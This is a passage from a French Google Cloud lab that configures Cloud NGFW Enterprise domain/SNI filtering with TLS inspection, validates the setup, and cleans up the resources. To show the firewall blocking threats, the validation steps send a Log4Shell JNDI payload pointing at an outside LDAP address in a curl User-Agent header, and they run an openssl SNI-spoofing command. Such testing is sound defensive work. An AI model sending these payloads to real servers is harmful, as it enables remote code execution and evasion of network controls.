gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Définissez les autorisations IAM pour le compte de service :
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Créez le fichier YAML de la règle TLS. Ce fichier contient des informations sur les ressources spécifiques :
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Importez la règle d'inspection TLS :
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Mettez à jour l'association de points de terminaison pour activer TLS :
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Obtenez le certificat de l'autorité de certification et ajoutez-le au magasin d'autorités de certification du client. Cela est nécessaire pour la confiance, car NGFW Enterprise établirait TLS et présenterait le certificat signé du pool d'autorités de certification :
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Transférez le certificat CA au client :
gcloud compute scp --tunnel-through-iap $prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
Connectez-vous en SSH à la VM, déplacez le certificat CA vers /usr/local/share/ca-certificates et mettez à jour le magasin de certificats CA :
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Quittez la VM et continuez sur Cloud Shell.
Mettre à jour la règle de pare-feu pour l'inspection TLS
gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect
Valider les règles avec l'inspection TLS
Établissez une connexion SSH à la VM via IAP :
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Envoyez les exemples de requêtes aux destinations autorisées :
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Elles devraient être acceptées sans problème. Si nous souhaitons examiner le certificat et confirmer s'il est signé par le NGFW, nous pouvons exécuter la commande suivante :
curl https://ifconfig.me --max-time 2 -vv
Résultat attendu :
admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv * Trying 34.160.111.145:443... * Connected to ifconfig.me (34.160.111.145) port 443 (#0) * ALPN: offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: CN=ifconfig.me * start date: Sep 20 07:05:42 2025 GMT * expire date: Sep 21 06:58:10 2025 GMT * subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me" * issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691 * SSL certificate verify ok. * using HTTP/1.x > GET / HTTP/1.1 > Host: ifconfig.me > User-Agent: curl/7.88.1 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Length: 10 < access-control-allow-origin: * < content-type: text/plain < date: Sat, 20 Sep 2025 07:05:43 GMT < via: 1.1 google < Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 < * Connection #0 to host ifconfig.me left intact x.x.x.x
Dans le résultat ci-dessus, nous pouvons voir que la requête est inspectée par NGFW Enterprise via TLS, car le certificat reçu est signé par l'autorité de certification racine que nous avons créée précédemment. (champ de l'émetteur)
Valider les règles qui tentent d'usurper le SNI avec l'inspection TLS
Validons maintenant le comportement une fois l'inspection TLS activée.
Exécutez la commande openssl suivante pour usurper le SNI :
openssl s_client -connect www.google.com:443 -servername ifconfig.me
Résultat attendu :
CONNECTED(00000003) write:errno=104 --- no peer certificate available --- No client certificate CA names sent --- SSL handshake has read 0 bytes and written 317 bytes Verification: OK --- New, (NONE), Cipher is (NONE) Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
Dans le résultat ci-dessus, nous constatons qu'une requête d'usurpation SNI qui fonctionnait auparavant échoue désormais lorsque l'inspection TLS est activée. En effet, lorsque l'inspection TLS est activée, NGFW compare le SNI au nom alternatif de l'objet (SAN) du certificat du serveur. Si ce n'est pas le cas, le handshake TLS échouera.
Valider le domaine/SNI et la protection contre les menaces avec l'inspection TLS
Nous allons maintenant réexécuter le test précédent pour une requête malveillante (log4j) vers un domaine autorisé.
Envoyez l'échantillon malveillant (log4j) à une destination de domaine/SNI autorisée :
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
Résultat attendu :
000
Ce code de réponse 000 est dû au fait que la connexion a été interrompue par le NGFW, car une menace a été détectée. Nous pouvons recueillir des informations plus détaillées pour confirmer.
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv
Résultat attendu :
* Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
* CAfile: /etc/ssl/certs/ca-certificates.crt
* CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: CN=www.eicar.org
* start date: Sep 20 07:50:20 2025 GMT
* expire date: Sep 21 10:41:22 2025 GMT
* subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
* issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
* SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
>
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000
Nous voyons ci-dessus que le NGFW a effectué une inspection TLS et bloqué la requête malveillante.
Quittez la VM :
exit
Passez à la section suivante pour connaître les étapes de nettoyage.
19. Étapes de nettoyage
Nettoyage de la configuration de base
Supprimez les instances :
gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Supprimez la stratégie de réseau et l'association du pare-feu cloud :
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Supprimez le routeur Cloud Router et Cloud NAT :
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Supprimez les adresses IP réservées :
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Nettoyage des groupes de règles de service Cloud Firewall et des associations
Supprimez le groupe de profils de sécurité et le profil de filtrage des menaces et des URL dans cet ordre :
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global gcloud -q network-security security-profiles url-filtering \ delete $prefix-sp \ --organization $org_id \ --location=global
Supprimez l'association de point de terminaison de pare-feu cloud :
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Supprimez le point de terminaison Cloud Firewall, ce qui peut prendre environ 20 minutes :
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
Vous pouvez également vérifier que le point de terminaison Cloud NGFW a été supprimé en exécutant la commande ci-dessous :
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
L'état du point de terminaison doit être le suivant :
STATE: DELETING
Une fois l'opération terminée, le point de terminaison ne sera plus listé.
[Facultatif] Nettoyage TLS
Si vous avez effectué les configurations facultatives d'inspection TLS, exécutez les commandes ci-dessous pour nettoyer les ressources TLS.
Supprimez la règle TLS :
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region
Désactivez et supprimez l'autorité de certification racine et le pool d'autorités de certification :
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Nettoyage des sous-réseaux et du VPC
Enfin, supprimez le sous-réseau et le réseau VPC :
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
20. Conclusion et points à prendre en compte
Cet atelier est très simple et ne teste qu'une seule VM se connectant à Internet. Dans des scénarios réels, le VPC peut contenir plusieurs ressources, avec du trafic circulant dans toutes les directions (N/S et E/O). Étant donné que la règle de pare-feu pour le filtrage de domaine/SNI est une règle EGRESS 0.0.0.0/0, elle est "générale" et DOIT être configurée comme la règle de priorité la plus basse dans la règle de réseau. Sinon, le trafic correspondrait de manière inattendue et serait autorisé/refusé en fonction de la règle urlFiltering par défaut.
En outre, pensez à utiliser les types de réseau pour limiter le champ d'application. Cela permet d'empêcher le trafic E/W de correspondre à la règle. Vous pouvez également créer une règle d'autorisation de priorité plus élevée pour le trafic E/W.
Veuillez consulter le document sur les bonnes pratiques qui traite plus en détail du filtrage des domaines/SNI.
21. Félicitations !
Félicitations, vous avez terminé l'atelier "Cloud NGFW Enterprise pour le filtrage de domaine et SNI avec inspection TLS facultative" !